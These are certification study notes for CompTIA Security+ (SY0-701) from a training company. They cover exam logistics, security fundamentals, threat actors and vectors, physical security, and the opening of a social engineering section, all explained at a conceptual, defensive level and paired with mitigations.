CompTIA Security+ (SY0-701)

Study Notes

Introduction

- **Introduction**
  - CompTIA Security+ (SY0-701) certification is considered an intermediate level information technology certification and an entry level cyber security certification that focuses on your ability to assess the security posture of an enterprise environment
  - This certification is designed for information technology professionals or aspiring cybersecurity professionals who have already earned their CompTIA A+ and Network+ certifications, but this is a recommendation from CompTIA and not a strict requirement
    - If you have the equivalent of 1-2 years of working with hardware, software, and networks, then you will do fine in this course
  - This course is designed as a full textbook replacement, but if you would like to get a textbook to study from as well, we recommend the official CompTIA Security+ Student Guide available directly from CompTIA
  - CompTIA Security+ (SY0-701) certification exam consists of five domains or areas of knowledge
    - 12% of General Security Concepts
    - 22% of Threats, Vulnerabilities, and Mitigations
    - 18% of Security Architecture
    - 28% of Security Operations

    - 20% of Security Program Management and Oversight
- When taking the CompTIA Security+ certification exam at the testing center or online using the web proctoring service, you are going to have 90 minutes to answer up to 90 questions
    - You're going to be answering multiple-choice questions, but you may get a few multiple-select questions where they ask you to pick 2 or 3 correct answers for a single question
    - You will also get a handful of performance-based questions
- To pass the Security+ certification exam, you must score at least 750 points out of 900 on their 100 to 900 point scale
- To take the exam, you do have to pay an exam fee to cover the cost of testing, and you do that by buying an exam voucher
    - How do you sign up and schedule your exam?
        - CompTIA Store
            - You can do this by going to store.comptia.org and buying it from their web store
            - The price does vary depending on which country you will be taking your exam from since CompTIA uses region based pricing
        - Dion Training
            - You can go to diontraining.com/vouchers and purchase your voucher directly from us, because we are a certified Platinum Level CompTIA Delivery Partner
            - You'll save an extra 10% or so off the regular CompTIA price
            - We'll give you free access to our searchable video library as a bonus for buying your voucher from us

- 4 tips for success in this course
  - Turn on closed captioning
  - Control the playback speed
  - Join our FB or Discord group
    - facebook.com/groups/diontraining
    - diontraining.com/discord
  - Download and print the study guide

- **Exam Tips**
  - There will be no trick questions
    - Always be on the lookout for distractors or red herrings
    - At least one of the four listed possible answer choices that are written to try and distract you from the correct answer
  - Pay close attention to words in bold, italics, or all uppercase
  - Answer the questions based on CompTIA Security+ knowledge
    - In cybersecurity, there really is no 100% correct answers in the real world because everything is situational
    - When in doubt, choose the answer that is correct for the highest number of situations
  - Understand the key concepts of the test questions
  - Do not memorize the terms word for word, try to understand them instead
  - During the exam, the answers will be from multiple-choice style questions

- **100% Pass Guarantee**
    - All the risk is on us, as it should be
        - You have nothing to lose here, but you do have to do your part and put in some effort
    - When you take those quizzes, you have to score at least an 80% for it to be considered a pass in our system
    - At the end of the course, you will find our practice exams
        - Understand why the answers are right or wrong
        - Explanations are provided for every single question
    - Please don't try to simply memorize the questions, but instead take the time to understand the why behind them
    - Make sure that you watched the videos, took the quizzes, did the labs, and finished the practice exams
        - If you've done all and don't see the progress part at the top going from 0 to 100, that means something's wrong
        - If you think you've done everything and it still doesn't show 100%, please email us at support@diontraining.com
    - Once you have the course completion letter, you are eligible for our 60-Day 100% Pass Guarantee

Fundamentals of Security

Objectives:

- 1.1 - Compare and contrast various types of security controls
- 1.2 - Summarize fundamental security concepts

- **Threats and Vulnerabilities**
    - *Threat*
        - Anything that could cause harm, loss, damage, or compromise to our information technology systems
        - Can come from the following
            - Natural disasters
            - Cyber-attacks
            - Data integrity breaches
            - Disclosure of confidential information
    - *Vulnerability*
        - Any weakness in the system design or implementation
        - Come from internal factors like the following
            - Software bugs
            - Misconfigured software
            - Improperly protected network devices
            - Missing security patches
            - Lack of physical security
    - Where threats and vulnerabilities intersect, that is where the risk to your enterprise systems and networks lies
        - If you have a threat, but there is no matching vulnerability to it, then you have no

risk

- The same holds true that if you have a vulnerability but there's no threat against it, there would be no risk

- *Risk Management*
  - Finding different ways to minimize the likelihood of an outcome and achieve the desired outcome

- **Confidentiality**
  - *Confidentiality*
    - Refers to the protection of information from unauthorized access and disclosure
    - Ensure that private or sensitive information is not available or disclosed to unauthorized individuals, entities, or processes
  - Confidentiality is important for 3 main reasons
    - To protect personal privacy
    - To maintain a business advantage
    - To achieve regulatory compliance
  - To ensure confidentiality, we use five basic methods
    - *Encryption*
      - Process of converting data into a code to prevent unauthorized access
    - Access Controls
      - By setting up strong user permissions, you ensure that only authorized personnel can access certain types data
    - *Data Masking*
      - Method that involves obscuring specific data within a database to make it inaccessible for unauthorized users while retaining the real data's authenticity and use for authorized users

        - Physical Security Measures
            - Ensure confidentiality for both physical types of data, such as paper records stored in a filing cabinet, and for digital information contained on servers and workstations
        - Training and Awareness
            - Conduct regular training on the security awareness best practices that employees can use to protect their organization's sensitive data

- **Integrity**
    - *Integrity*
        - Helps ensure that information and data remain accurate and unchanged from its original state unless intentionally modified by an authorized individual
        - Verifies the accuracy and trustworthiness of data over the entire lifecycle
    - Integrity is important for three main reasons
        - To ensure data accuracy
        - To maintain trust
        - To ensure system operability
    - To help us maintain the integrity of our data, systems, and networks, we usually utilize five methods
        - *Hashing*
            - Process of converting data into a fixed-size value
        - Digital Signatures
            - Ensure both integrity and authenticity
        - *Checksums*
            - Method to verify the integrity of data during transmission

        - Access Controls
            - Ensure that only authorized individuals can modify data and this reduces the risk of unintentional or malicious alterations
        - Regular Audits
            - Involve systematically reviewing logs and operations to ensure that only authorized changes have been made, and any discrepancies are immediately addressed

- **Availability**
    - *Availability*
        - Ensure that information, systems, and resources are accessible and operational when needed by authorized users
    - As cybersecurity professionals, we value availability since it can help us with the following
        - Ensuring Business Continuity
        - Maintaining Customer Trust
        - Upholding an Organization's Reputation
    - To overcome the challenges associated with maintaining availability, the best strategy is to use redundancy in your systems and network designs
        - *Redundancy*
            - Duplication of critical components or functions of a system with the intention of enhancing its reliability
    - There are various types of redundancy you need to consider when designing your systems and networks
        - *Server Redundancy*
            - Involves using multiple servers in a load balanced or failover configuration

so that if one is overloaded or fails, the other servers can take over the load to continue supporting your end users

- *Data Redundancy*
  - Involves storing data in multiple places
- *Network Redundancy*
  - Ensures that if one network path fails, the data can travel through another route
- *Power Redundancy*
  - Involves using backup power sources, like generators and UPS systems

- **Non-repudiation**
  - *Non-repudiation*
    - Focused on providing undeniable proof in the world of digital transactions
    - Security measure that ensures individuals or entities involved in a communication or transaction cannot deny their participation or the authenticity of their actions
  - *Digital Signatures*
    - Considered to be unique to each user who is operating within the digital domain
    - Created by first hashing a particular message or communication that you want to digitally sign, and then it encrypts that hash digest with the user's private key using asymmetric encryption
  - Non-repudiation is important for three main reasons
    - To confirm the authenticity of digital transactions
    - To ensure the integrity of critical communications
    - To provide accountability in digital processes

- **Authentication**
  - *Authentication*
    - Security measure that ensures individuals or entities are who they claim to be during a communication or transaction
  - 5 commonly used authentication methods
    - Something you know (Knowledge Factor)
      - Relies on information that a user can recall
    - Something you have (Possession Factor)
      - Relies on the user presenting a physical item to authenticate themselves
    - Something you are (Inherence Factor)
      - Relies on the user providing a unique physical or behavioral characteristic of the person to validate that they are who they claim to be
    - Something you do (Action Factor)
      - Relies on the user conducting a unique action to prove who they are
    - Somewhere you are (Location Factor)
      - Relies on the user being in a certain geographic location before access is granted
  - *Multi-Factor Authentication System (MFA)*
    - Security process that requires users to provide multiple methods of identification to verify their identity
  - Authentication is critical to understand because of the following
    - To prevent unauthorized access
    - To protect user data and privacy
    - To ensure that resources are accessed by valid users only

- **Authorization**
  - *Authorization*
    - Pertains to the permissions and privileges granted to users or entities after they have been authenticated
  - Authorization mechanisms are important to help us with the following
    - To protect sensitive data
    - To maintain the system integrity in our organizations
    - To create a more streamlined user experience

- **Accounting**
  - *Accounting*
    - Security measure that ensures all user activities during a communication or transaction are properly tracked and recorded
  - Your organization should use a robust accounting system so that you can create the following
    - Create an audit trail
      - Provides a chronological record of all user activities that can be used to trace changes, unauthorized access, or anomalies back to a source or point in time
    - Maintain regulatory compliance
      - Maintains a comprehensive record of all users' activities
    - Conduct forensic analysis
      - Uses detailed accounting and event logs that can help cybersecurity experts understand what happened, how it happened, and how to prevent similar incidents from occurring again

        - Perform resource optimization
            - Organizations can optimize system performance and minimize costs by tracking resource utilization and allocation decisions
        - Achieve user accountability
            - Thorough accounting system ensures users' actions are monitored and logged , deterring potential misuse and promoting adherence to the organization's policies
    - To perform accounting, we usually use different technologies like the following
        - *Syslog Servers*
            - Used to aggregate logs from various network devices and systems so that system administrators can analyze them to detect patterns or anomalies in the organization's systems
        - *Network Analysis Tools*
            - Used to capture and analyze network traffic so that network administrators can gain detailed insights into all the data moving within a network
        - *Security Information and Event Management (SIEM) Systems*
            - Provides us with a real-time analysis of security alerts generated by various hardware and software infrastructure in an organization

- **Security Control Categories**
    - 4 Broad Categories of Security Controls
        - *Technical Controls*
            - Technologies, hardware, and software mechanisms that are implemented to manage and reduce risks

- *Managerial Controls*
  - Sometimes also referred to as administrative controls
  - Involve the strategic planning and governance side of security
- *Operational Controls*
  - Procedures and measures that are designed to protect data on a day-to-day basis
  - Are mainly governed by internal processes and human actions
- *Physical Controls*
  - Tangible, real-world measures taken to protect assets

- **Security Control Types**
  - 6 Basic Types of Security Controls
    - *Preventive Controls*
      - Proactive measures implemented to thwart potential security threats or breaches
    - *Deterrent Controls*
      - Discourage potential attackers by making the effort seem less appealing or more challenging
    - *Detective Controls*
      - Monitor and alert organizations to malicious activities as they occur or shortly thereafter
    - *Corrective Controls*
      - Mitigate any potential damage and restore our systems to their normal state
    - *Compensating Controls*
      - Alternative measures that are implemented when primary security

controls are not feasible or effective

- *Directive Controls*
  - Guide, inform, or mandate actions
  - Often rooted in policy or documentation and set the standards for behavior within an organization

- **Gap Analysis**
  - *Gap Analysis*
    - Process of evaluating the differences between an organization's current performance and its desired performance
  - Conducting a gap analysis can be a valuable tool for organizations looking to improve their operations, processes, performance, or overall security posture
  - There are several steps involved in conducting a gap analysis
    - Define the scope of the analysis
    - Gather data on the current state of the organization
    - Analyze the data to identify any areas where the organization's current performance falls short of its desired performance
    - Develop a plan to bridge the gap
  - 2 Basic Types of Gap Analysis
    - Technical Gap Analysis
      - Involves evaluating an organization's current technical infrastructure
      - identifying any areas where it falls short of the technical capabilities required to fully utilize their security solutions
    - Business Gap Analysis
      - Involves evaluating an organization's current business processes
      - Identifying any areas where they fall short of the capabilities required to

fully utilize cloud-based solutions

- *Plan of Action and Milestones (POA&M)*
  - Outlines the specific measures to address each vulnerability
  - Allocate resources
  - Set up timelines for each remediation task that is needed

- **Zero Trust**
  - Zero Trust demands verification for every device, user, and transaction within the network, regardless of its origin
  - To create a zero trust architecture, we need to use two different planes
    - Control Plane
      - Refers to the overarching framework and set of components responsible for defining, managing, and enforcing the policies related to user and system access within an organization
      - Control Plane typically encompasses several key elements
        - *Adaptive Identity*
          - Relies on real-time validation that takes into account the user's behavior, device, location, and more
        - *Threat Scope Reduction*
          - Limits the users' access to only what they need for their work tasks because this reduces the network's potential attack surface
          - Focused on minimizing the "blast radius" that could occur in the event of a breach
        - *Policy-Driven Access Control*
          - Entails developing, managing, and enforcing user access

policies based on their roles and responsibilities

- *Secured Zones*
  - Isolated environments within a network that are designed to house sensitive data

- Data Plane
  - Ensures the policies are properly executed
  - Data plane consists of the following
    - *Subject/System*
      - Refers to the individual or entity attempting to gain access
    - *Policy Engine*
      - Cross-references the access request with its predefined policies
    - *Policy Administrator*
      - Used to establish and manage the access policies
    - *Policy Enforcement Point*
      - Where the decision to grant or deny access is actually execute

Threat Actors

Objectives:

- 1.2 - Summarize fundamental security concepts
- 2.1 - Compare and contrast common threat actors and motivations
- 2.2 - Explain common threat vectors and attack surfaces

- **Threat Actor Motivations**
    - There is a difference between the intent of the attack and the motivation that fuels that attack
        - *Threat Actors Intent*
            - Specific objective or goal that a threat actor is aiming to achieve through their attack
        - *Threat Actors Motivation*
            - Underlying reasons or driving forces that pushes a threat actor to carry out their attack
    - Different motivations behind threat actors
        - *Data Exfiltration*
            - Unauthorized transfer of data from a computer
        - Financial Gain
            - Achieved through various means, such as ransomware attacks, or through banking trojans that allow them to steal financial information in order to gain unauthorized access into the victims' bank accounts
        - Blackmail
            - Attacker obtains sensitive or compromising information about an individual or an organization and threatens to release this information to

the public unless certain demands are met

- Service Disruption
  - Some threat actors aim to disrupt the services of various organizations, either to cause chaos, make a political statement, or to demand a ransom
- Philosophical or Political Beliefs
  - Attacks that are conducted due to the philosophical or political beliefs of the attackers is known as hacktivism
  - Common motivation for a specific type of threat actor known as a hacktivist
- Ethical Reasons
  - Contrary to malicious threat actors, ethical hackers, also known as Authorized hackers, are motivated by a desire to improve security
- Revenge
  - It can also be a motivation for a threat actor that wants to target an entity that they believe has wronged them in some way
- Disruption or Chaos
  - Creating and spreading malware to launching sophisticated cyberattacks against the critical infrastructure in a populated city
- *Espionage*
  - Spying on individuals, organizations, or nations to gather sensitive or classified information
- War
  - Cyber warfare can be used to disrupt a country's infrastructure, compromise its national security, and to cause economic damage

- **Threat Actor Attributes**
    - 2 Most Basic Attributes of a Threat Actor
        - *Internal Threat Actors*
            - Individuals or entities within an organization who pose a threat to its security
        - *External Threat Actors*
            - Individuals or groups outside an organization who attempt to breach its cybersecurity defenses
    - Resources and funding available to the specific threat actor
        - Tools, skills, and personnel at the disposal of a given threat actor
    - Level of sophistication and capability of the specific threat actor
        - Refers to their technical skill, the complexity of the tools and techniques they use, and their ability to evade detection and countermeasures
        - In the world of cybersecurity, we usually classify the lowest skilled threat actors as "script kiddies"
            - *Script Kiddie*
                - Individual with limited technical knowledge
                - use pre-made software or scripts to exploit computer systems and networks
        - Nation-state actors, Advanced Persistent Threats and others have high levels of sophistication and capabilities and possess advanced technical skills
            - Use sophisticated tools and techniques

- **Unskilled Attackers**
    - *Unskilled Attacker (Script Kiddie)*
        - Individual who lacks the technical knowledge to develop their own hacking tools

or exploits

- These low-skilled threat actors need to rely on scripts and programs that have been developed by others

- How do these unskilled attackers cause damage?
  - One way is to launch a DDoS attack
  - An unskilled attacker can simply enter in the IP address of the system they want to target, and then click a button to launch an attacker against that target

- **Hacktivists**
  - *Hacktivists*
    - Individuals or groups that use their technical skills to promote a cause or drive social change instead of for personal gain
  - *Hacktivism*
    - Activities in which the use of hacking and other cyber techniques is used to promote or advance a political or social cause
  - To accomplish their objectives, hacktivists use a wide range of techniques to achieve their goals
    - Website Defacement
      - Form of electronic graffiti and is usually treated as an act of vandalism
    - Distributed Denial of Service (DDoS) Attacks
      - Attempting to overwhelm the victim's systems or networks so that they cannot be accessed by the organization's legitimate users
    - *Doxing*
      - Involves the public release of private information about an individual or organization

        - Leaking of Sensitive Data
            - Releasing sensitive data to the public at large over the internet
    - Hacktivists are primarily motivated by their ideological beliefs rather than trying to achieve financial gains
    - Most well-known hacktivist groups is known as “Anonymous”
        - Anonymous
            - Loosely affiliated collective that has been involved in numerous high-profile attacks over the years for targeting organizations that they perceive as acting unethically or against the public interest at large

- **Organized Crime**
    - Organized cybercrime groups are groups or syndicates that have banded together to conduct criminal activities in the digital world
        - Sophisticated and well structured
        - Use resources and technical skills for illicit gain
    - In terms of their technical capabilities, organized crime groups possess a very high level of technical capability and they often employ advanced hacking techniques and tools
        - Custom Malware
        - Ransomware
        - Sophisticated Phishing Campaigns
    - These criminal groups will engage in a variety of illicit activities to generate revenue for their members
        - Data Breaches
        - Identity Theft
        - Online Fraud
        - Ransomware Attacks

- Unlike hacktivists or nation state actors, organized cybercrime groups are not typically driven by ideological or political objectives
  - These groups may be hired by other entities, including governments, to conduct cyber operations and attacks on their behalf
  - Money, not other motivations is the objective of their attacks even if the attack takes place in the political sphere

- **Nation-state Actor**
  - *Nation-state Actor*
    - Groups or individuals that are sponsored by a government to conduct cyber operations against other nations, organizations, or individuals
  - Sometimes, these threat actors attempt what is known as a false flag attack
    - *False Flag Attack*
      - Attack that is orchestrated in such a way that it appears to originate from a different source or group than the actual perpetrators, with the intent to mislead investigators and attribute the attack to someone else
  - Nation-state actors possess advanced technical skills and extensive resources, and they are capable of conducting complex, coordinated cyber operations that employ a variety of techniques such as
    - Creating custom malware
    - Using zero-day exploits
    - Becoming an advanced persistent threats
  - *Advanced Persistent Threat (APT)*
    - Term that used to be used synonymously with a nation-state actor because of their long-term persistence and stealth
    - A prolonged and targeted cyberattack in which an intruder gains unauthorized

access to a network and remains undetected for an extended period while trying to steal data or monitor network activities rather than cause immediate damage
        - These advanced persistent threats are often sponsored by a nation-state or its proxies, like organized cybercrime groups
    - What motivates a nation-state actor?
        - Nation-state actors are motivated to achieve their long-term strategic goals, and they are not seeking financial gain

- **Insider Threats**
    - *Insider Threats*
        - Cybersecurity threats that originate from within the organization
        - Will have varying levels of capabilities
    - Insider threats can take various forms
        - Data Theft
        - Sabotage
        - Misuse of access privileges
    - Each insider threat is driven by different motivations
        - Some are driven by financial gain and they want to profit from the sale of sensitive organizational data to others
        - Some may be motivated by revenge and are aiming to harm the organization due to some kind of perceived wrong levied against the insider
        - Some may take actions as a result of carelessness or a lack of awareness of cybersecurity best practices
    - <u>Remember</u>
        - Insider threat refers to the potential risk posed by individuals within an organization who have access to sensitive information and systems, and who may

misuse this access for malicious or unintended purposes

- To mitigate the risk of an insider threat being successful, organizations should implement the following
  - Zero-trust architecture
  - Employ robust access controls
  - Conduct regular audits
  - Provide effective employee security awareness programs

- **Shadow IT**
  - *Shadow IT*
    - Use of information technology systems, devices, software, applications, and services without explicit organizational approval
    - IT-related projects that are managed outside of, and without the knowledge of, the IT department
  - Why does Shadow IT exist?
    - An organization's security posture is actually set too high or is too complex for business operations to occur without be negatively affected
  - *Bring Your Own Devices (BYOD)*
    - Involves the use of personal devices for work purposes

- **Threat Vectors and Attack Surfaces**
  - *Threat Vector*
    - Means or pathway by which an attacker can gain unauthorized access to a computer or network to deliver a malicious payload or carry out an unwanted action

- *Attack Surface*
  - Encompasses all the various points where an unauthorized user can try to enter data to or extract data from an environment
  - Can be minimized by
    - Restricting Access
    - Removing unnecessary software
    - Disabling unused protocols
- Think of threat vector as the "how" of an attack, whereas the attack surface is the "where" of the attack
- Several different threat vectors that could be used to attack your enterprise networks
  - Messages
    - Message-based threat vectors include threats delivered via email, simple message service (SMS text messaging), or other forms of instant messaging
    - Phishing campaigns are commonly used as part of a message-based threat vector when an attacker impersonates a trusted entity to trick its victims into revealing their sensitive information to the attacker
  - Images
    - Image-based threat vectors involve the embedding of malicious code inside of an image file by the threat actor
  - Files
    - The files, often disguised as legitimate documents or software, can be transferred as email attachments, through file-sharing services, or hosted on a malicious website

- Voice Calls
  - *Vhishing*
    - Use of voice calls to trick victims into revealing their sensitive information to an attacker
- Removable Devices
  - One common technique used with removable devices is known as baiting
    - *Baiting*
      - Attacker might leave a malware-infected USB drive in a location where their target might find it, such as in the parking lot or the lobby of the targeted organization
- Unsecure Networks
  - Unsecure networks includes wireless, wired, and Bluetooth networks that lack the appropriate security measures to protect these networks
  - If wireless networks are not properly secured, unauthorized individuals can intercept the wireless communications or gain access to the network
  - Wired networks tend to be more secure than their wireless networks, but they are still not immune to threats
    - Physical access to the network infrastructure can lead to various attacks
      - MAC Address Cloning
      - VLAN Hopping
  - By exploiting vulnerabilities in the Bluetooth protocol, an attacker can carry out their attacks using techniques like the BlueBorne or BlueSmack exploits
    - *BlueBorne*
      - Set of vulnerabilities in Bluetooth technology that can

allow an attacker to take over devices, spread malware, or even establish an on-path attack to intercept communications without any user interaction

- *BlueSmack*
  - Type of Denial of Service attack that targets Bluetooth-enabled devices by sending a specially crafted Logical Link Control and Adaptation Protocol packet to a target device

- **Outsmarting Threat Actors**
  - One of the most effective ways to learn from the different threat actors that are attacking your network is to set up and utilize deception and disruption technologies
  - *Tactics, Techniques, and Procedures (TTPs)*
    - Specific methods and patterns of activities or behaviors associated with a particular threat actor or group of threat actors
  - *Deceptive and Disruption Technologies*
    - Technologies designed to mislead, confuse, and divert attackers from critical assets while simultaneously detecting and neutralizing threats
    - *Honeypots*
      - Decoy system or network set up to attract potential hackers
    - *Honeynets*
      - Network of honeypots to create a more complex system that is designed to mimic an entire network of systems
        - Servers
        - Routers
        - Switches

- *Honeyfiles*
  - Decoy file placed within a system to lure in potential attackers
- *Honeytokens*
  - Piece of data or a resource that has no legitimate value or use but is monitored for access or use

- Some disruption technologies and strategies to help secure our enterprise networks
  - Bogus DNS entries
    - Fake Domain Name System entries introduced into your system's DNS server
  - Creating decoy directories
    - Fake folders and files placed within a system's storage
  - Dynamic page generation
    - Effective against automated scraping tools or bots trying to index or steal content from your organization's website
  - Use of port triggering to hide services
    - *Port Triggering*
      - Security mechanism where specific services or ports on a network device remain closed until a specific outbound traffic pattern is detected
  - Spoofing fake telemetry data
    - When a system detects a network scan is being attempted by an attacker, it can be configured to respond by sending out fake telemetry or network data

Physical Security

Objectives:

- 1.2 - Summarize fundamental security concepts
- 2.4 - Analyze indicators of malicious activity

- **Fencing and Bollards**
    - Fencing and bollards stand out as some of the most primitive tools that are employed to safeguard assets and people
    - *Fence*
        - Structure that encloses an area using interconnected panels or posts
        - In terms of physical security, fences serve several purposes
            - Provides a visual deterrent by defining a boundary that should not be violated by unauthorized personnel
            - Establish a physical barrier against unauthorized entry
            - Effectively delay intruders which helps provide our security personnel a longer window of time to react
    - *Bollards*
        - Robust, short vertical posts, typically made of steel or concrete, that are designed to manage or redirect vehicular traffic
    - Fencing is considered to be more adaptable and well-suited for safeguarding large perimeters around the entire building
    - Bollards are really designed to counter vehicular threats in a specific area instead

- **Attacking with Brute Force**
    - *Brute Force*
        - Type of attack where access to a system is gained by simply trying all of the possibilities until you break through
    - In terms of physically security, brute force focuses on the following
        - *Forcible Entry*
            - Act of gaining unauthorized access to a space by physically breaking or bypassing its barriers, such as windows, doors, or fences
            - Use high-strength doors with deadbolt locks, metal frames, or a solid core
        - Tampering with security devices
            - Involves manipulating security devices to create new vulnerabilities that can be exploited
            - To protect against tampering with security devices, have redundancy in physical security measures
        - Confronting security personnel
            - Involves the direct confrontation or attack of your organization's security personnel
            - Security personnel should undergo rigorous conflict resolution and self-defense training to mitigate risks
        - Ramming barriers with vehicles
            - Uses a car, truck, or other motorized vehicle to ram into the organization's physical security barriers, such as a fence, a gate, or even the side of your building
            - Install bollards or reinforced barriers to prevent vehicles from driving into your facilities

- **Surveillance Systems**
  - *Surveillance System*
    - Organized strategy or setup designed to observe and report activities in a given area
  - Surveillance is often comprised of four main categories
    - Video Surveillance
      - Can include the following
        - Motion detection
        - Night vision
        - Facial recognition
      - Remote access
      - Provides real-time visual feedback
      - A wired solution security camera is physically cabled from the device back to the central monitoring station
      - A wireless solution relies on Wi-Fi to send its signal back to the central monitoring station
      - *Pan-Tilt-Zoom (PTZ) System*
        - Can move the camera or its angle to better detect issues during an intrusion
      - Best places to have cameras
        - Data center
        - Telecommunications closets
        - Entrance or exit areas
      - Cameras should be configured to record what they're observing
    - Security Guards
      - Flexible and adaptable forms of surveillance that organizations use

- Helps to reassure your staff or your customers that they are safe

- Lighting
  - Proper lighting is crucial for conducting effective surveillance using both video and security guards
  - If you create well-lit areas, this can deter criminals, reduce shadows and hiding spots, and enhance the quality of your video recordings
- Sensors
  - Devices that detect and respond to external stimuli or changes in the environment
  - There are four categories of sensors
    - Infrared Sensors
      - Detect changes in infrared radiation that is often emitted by warm bodies like humans or animals
    - Pressure Sensors
      - Activated whenever a specified minimum amount of weight is detected on the sensor that is embedded into the floor or a mat
    - Microwave Sensors
      - Detect movement in an area by emitting microwave pulses and measuring their reflection off moving objects
    - Ultrasonic Sensors
      - Measures the reflection of ultrasonic waves off moving objects

- **Bypassing Surveillance Systems**
    - Some of the different methods used by attackers to bypass your organization's surveillance systems
        - Visual Obstruction
            - Blocking the camera's line of sight
            - Can involve the following
                - spraying paint or foam onto the camera lens
                - placing a sticker or tape over the lens
                - positioning objects like balloons or umbrellas in front of the camera to block its view
        - Blinding Sensors and Cameras
            - Involves overwhelming the sensor or camera with a sudden burst of light to render it ineffective for a limited period of time
        - Interfering with Acoustics
            - Acoustic systems are designed to listen to the environment to detect if someone is in the area or to eavesdrop on their conversations
            - Jamming or playing loud music to disrupt the microphone's functionality
        - Interfering with Electromagnetic
            - *Electromagnetic Interference (EMI)*
                - Involves jamming the signals that surveillance system relies on to monitor the environment
        - Attacking the Physical Environment
            - Exploit the environment around the surveillance equipment to compromise their functionality
    - Physical tampering, like cutting wires or physically disabling devices, is an effective strategy to bypass surveillance systems

- Modern systems are equipped with countermeasures to help protect surveillance systems

- **Access Control Vestibules**
  - *Access Control Vestibules*
    - Double-door system that is designed with two doors that are electronically controlled to ensure that only one door can be open at a given time
  - These access control vestibules can also help prevent piggybacking and tailgating
    - *Piggybacking*
      - Involves two people working together with one person who has legitimate access intentionally allows another person who doesn't have proper authorization to enter a secure area with them
    - *Tailgating*
      - Occurs whenever an unauthorized person closely follows someone through the access control vestibule who has legitimate access into the secure space without their knowledge or consent
    - The key difference between Piggybacking and Tailgating
      - Piggybacking uses social engineering to gain consent of the person with legitimate access
      - Tailgating doesn’t use or obtain the consent of the person with legitimate access.
  - Access control vestibules are usually integrated with electronic badges and operated by a security guard at the entrance to a secure facility or office building
    - Badges contain
      - RFID (Radio-Frequency Identification)
      - NFC (Near-field Communication)

        - Magnetic strips
    - Security guards are often at access control vestibules because they provide
        - Visual deterrent
        - Assistance
        - Check identity
        - Response

- **Door Locks**
    - *Door Locks*
        - Critical physical security control measure designed to restrict and regulate access to specific spaces or properties, preventing unauthorized intrusions and safeguarding sensitive data and individuals
    - Types of Door Locks
        - Traditional Padlocks
            - Easily defeated and offer minimal protection
        - Basic Door Locks
            - Vulnerable to simple techniques like lock picking
        - Modern Electronic Door Locks
            - Utilize various authentication methods for enhanced security
            - Authentication Methods
                - Identification Numbers
                    - Require entry of a unique code, providing a balance of security and convenience
                - Wireless Signals
                    - Utilize technologies like NFC, Wi-Fi, Bluetooth, or RFID for unlocking

- Biometrics
  - Rely on physical characteristics like fingerprints, retinal scans, or facial recognition for authentication
  - Biometric Challenges
    - *False Acceptance Rate (FAR)*
      - Occurs when the system erroneously authenticates an unauthorized user
      - Lower FAR by increasing scanner sensitivity
    - *False Rejection Rate (FRR)*
      - Denies access to an authorized user. Adjusting sensitivity can increase FRR
    - *Crossover Error Rate (CER)*
      - A balance between FAR and FRR for optimal authentication effectiveness
- Some electronic door locks use multiple factors, such as an identification number and fingerprint, to increase security
- *Cipher Locks*
  - Mechanical locks with numbered push buttons, requiring a correct combination to open
  - Commonly used in high-security areas like server rooms
- Secure entry areas in office buildings, often using electronic access systems with badges and PINs for authentication

- **Access Badge Cloning**
  - Radio Frequency Identification (RFID) and Near Field Communication (NFC) are popular technologies used for contactless authentication in various applications

- *Access Badge Cloning*
  - Copying the data from an RFID or NFC card or badge onto another card or device
- How does an attacker clone an access badge?
  - Step 1: Scanning
    - Scanning or reading the targeted individual's access badge
  - Step 2: Data Extraction
    - Attackers extract the relevant authentication credentials from the card, such as a unique identifier or a set of encrypted data
  - Step 3: Writing to a new card or device
    - Attacker will then transfers the extracted data onto a blank RFID or NFC card or another compatible device
  - Step 4: Using the cloned access badge
    - Attackers gain unauthorized access to buildings, computer systems, or even make payments using a cloned NFC-enabled credit card
- Access badge cloning is common because of its
  - Ease of execution
  - Ability to be stealthy when conducting the attack
  - Potentially widespread use in compromising physical security
- How can you stop access badge cloning?
  - Implement advanced encryption in your card-based authentication systems
  - Implement Multi-Factor Authentication (MFA)
  - Regularly update your security protocols
  - Educate your users
  - Implement the use of shielded wallets or sleeves with your RFID access badges
  - Monitor and audit your access logs

Social Engineering

Objectives:

- 2.2 - Explain common threat vectors and attack surfaces
- 5.6 - Given a scenario, you must be able to implement security awareness practices

- **Motivational Triggers**
    - Six main types of motivational triggers that social engineers use
        - Authority
            - Most people are willing to comply and do what you tell them to do if they believe it is coming from somebody who is in a position of authority to make that request
        - Urgency
            - Compelling sense of immediacy or time-sensitivity that drives individuals to act swiftly or prioritize certain actions
        - Social Proof
            - Psychological phenomenon where individuals look to the behaviors and actions of others to determine their own decisions or actions in similar situations
        - Scarcity
            - Psychological pressure people feel when they believe a product, opportunity, or resource is limited or in short supply
        - Likability
            - Most people want to interact with people they like, and social engineers realize this

- Can be
    - Sexual attraction
    - Pretending to be a friend
    - Common interest
- Fear
    - These types of attacks generally are focused on "if you don't do what I tell you, then this bad thing is going to happen to you”

- **Impersonation**
    - Four main forms of impersonation used by attackers
        - *Impersonation*
            - Attack where an adversary assumes the identity of another person to gain unauthorized access to resources or steal sensitive data
            - Requires the attacker to collect information about the organization so that they can more easily earn the trust of their targeted users
            - Attackers provide details to help make the lies and the impersonation more believable to a potential victim
            - Consequences
                - Unauthorized access
                - Disruption of services
                - Complete system takeover
            - To mitigate against these types of attacks, organizations must provide security awareness training to their employees on a regular basis so that they remain vigilant against future attacks
        - *Brand Impersonation*
            - More specific form of impersonation where an attacker pretends to

represent a legitimate company or brand

- Attackers use the brand's logos, language, and information to create deceptive communications or website
- To protect against brand impersonation, organizations should do the following
    - Educate their users about these types of threats
    - Use secure email gateways to filter out phishing emails
    - Regularly monitor their brand's online presence to detect any fraudulent activities as soon as they occur

- *Typosquatting*
    - Also known as URL hijacking or cybersquatting
    - Form of cyber attack where an attacker will register a domain name that is similar to a popular website but contain some kind of common typographical errors
    - To combat typosquatting, organizations will often do the following
        - Register common misspellings of their own domain names
        - Use services that monitor for similar domain registrations
        - Conduct user security awareness training to educate users about the risks of typosquatting
- *Watering Hole Attacks*
    - Targeted form of cyber attack where attackers compromise a specific website or service that their target is known to use
    - The term is a metaphor for a naturally occurring phenomenon
        - In the world of cybersecurity, the "watering hole" the attacker chooses to utilize will usually be a trusted website or online service

- To mitigate watering hole attacks, organizations should do the following
    - Keep their systems and software updated
    - Use threat intelligence services to stay informed about new threats
    - Employ advanced malware detection and prevention tools

- **Pretexting**
    - Pretexting gives some amount of information that seems true so that the victim will give more information
    - Mitigation involves training the employees not to fall for pretext and not to fill in the gaps for people when they are calling

- **Phishing Attacks**
    - Different Types of Phishing Attacks
        - *Phishing*
